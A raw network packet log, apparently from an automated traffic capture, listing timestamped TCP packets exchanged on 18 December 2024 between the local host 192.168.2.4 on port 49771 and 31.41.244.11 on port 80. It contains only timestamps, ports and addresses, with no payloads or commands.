Dec 18, 2024 17:08:22.482656002 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.482713938 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.483576059 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.483711004 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.483767986 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.484667063 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.484821081 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.484880924 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.485790968 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.485943079 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.486002922 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.486928940 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.486984015 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.487076998 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.487984896 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.488044977 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.488044977 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.489074945 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.489135027 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.489182949 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.489238977 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.490151882 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.490356922 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.490415096 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.492172956 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.492351055 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.492412090 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.492573023 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.492600918 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.492660046 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.493382931 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.493560076 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.493619919 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.494507074 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.494570017 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.494642973 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.495613098 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.495677948 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.495731115 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.496695995 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.496762037 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.496839046 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.496896029 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.497881889 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.498004913 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.498065948 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.498902082 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.499027967 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.499092102 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.499983072 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.500117064 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.500184059 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.501257896 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.501364946 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.501427889 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.502466917 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.502618074 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.502688885 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.503487110 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.503550053 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.503626108 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.504657030 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.504713058 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.504719973 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.505547047 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.505572081 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.505598068 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.505717039 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.506491899 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.506556034 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.641295910 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.641386032 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.641455889 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.641509056 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.641793013 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.641851902 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.641874075 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.641937017 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.643021107 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.643038988 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.643085003 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.643116951 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.643910885 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.643985033 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.644047976 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.644129038 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.645092010 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.645203114 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.645303011 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.645371914 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.646296024 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.646383047 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.646445990 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.647257090 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.647308111 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.647320986 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.647361040 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.648313999 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.648438931 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.648508072 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.648564100 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.649440050 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.649605036 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.649661064 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.649718046 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.650476933 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.650542974 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.650605917 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.650788069 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.651597977 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.651659012 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.651689053 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.651753902 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.652739048 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.652797937 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.652838945 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.652904034 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.653775930 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.653856039 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.653907061 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.654015064 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.655153990 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.655246973 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.655272007 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.655338049 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.656133890 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.656200886 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.656212091 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.656265974 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.657210112 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.657314062 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.657324076 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.657387972 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.658221960 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.658340931 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.658502102 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.658574104 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.659554958 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.659615040 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.659662008 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.659714937 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.660512924 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.660619020 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.660680056 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.661446095 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.661504030 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.661551952 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.661608934 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.662538052 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.662605047 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.662645102 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.662715912 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.663623095 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.663685083 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.663727045 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.663779974 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.664685965 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.664752960 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.664803982 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.664869070 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.666340113 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.666357040 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.666439056 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.666467905 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.667591095 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.667593956 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.667660952 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.668015003 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.668078899 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.668262005 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.668318033 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.669086933 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.669146061 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.669192076 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.669244051 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.670140028 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.670212984 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.670258999 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.670320034 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.671257973 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.671334982 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.671410084 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.671473026 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.672346115 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.672413111 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.672471046 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.672532082 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.673482895 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.673566103 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.673599005 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.673659086 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.674613953 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.674704075 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.674745083 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.674814939 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.675709963 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.675801039 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.675842047 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.675913095 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.676727057 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.676816940 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.676847935 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.676915884 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.677839041 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.677980900 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.678020954 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.678081989 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.679085970 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.679173946 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.679177046 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.679250956 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.680051088 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.680134058 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.680217028 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.680283070 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.681090117 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.681179047 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.681194067 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.681258917 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.682172060 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.682260990 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.682303905 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.682363033 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.683358908 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.683438063 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.683512926 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.683581114 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.684634924 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.684747934 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.684772968 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.684828997 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.685764074 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.685854912 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.685950994 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.686021090 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.686860085 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.686932087 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.686939955 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.686992884 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.687778950 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.687871933 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.687876940 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.687953949 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.688781023 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.688853979 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.688954115 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.689017057 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.689909935 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.690001011 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.690001011 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.690058947 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.690963984 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.691054106 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.691102028 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.691163063 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.692069054 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.692142963 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.692204952 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.692267895 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.693106890 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.693180084 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.693233013 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.693294048 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.694247007 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.694324017 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.694416046 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.694480896 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.695291996 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.695364952 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.695532084 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.695590973 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.696490049 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.696553946 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.696604967 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.696661949 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.697607040 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.697674990 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.697813034 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.697865009 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.698550940 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.698635101 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.833262920 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.833372116 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.833422899 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.833422899 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.833766937 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.833815098 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.833889008 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.833936930 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.834901094 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.834949970 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.835026979 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.835073948 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.835999966 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.836050987 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.836117029 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.836162090 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.837091923 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.837141037 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.837225914 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.837274075 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.838205099 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.838255882 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.838270903 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.838326931 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.839258909 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.839302063 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.839512110 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.839566946 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.840507030 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.840554953 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.840652943 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.840738058 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.841447115 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.841501951 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.841531992 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.841583014 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.842510939 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.842576981 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.842641115 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.842684031 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.843653917 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.843710899 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.843750954 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.843800068 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.844724894 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.844783068 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.844896078 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.844948053 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.845791101 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.845839977 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.845880032 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.845927000 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.846873999 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.846949100 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.846982002 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.847217083 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.847990036 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.848046064 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.848154068 CET	80	49771	31.41.244.11	192.168.2.4
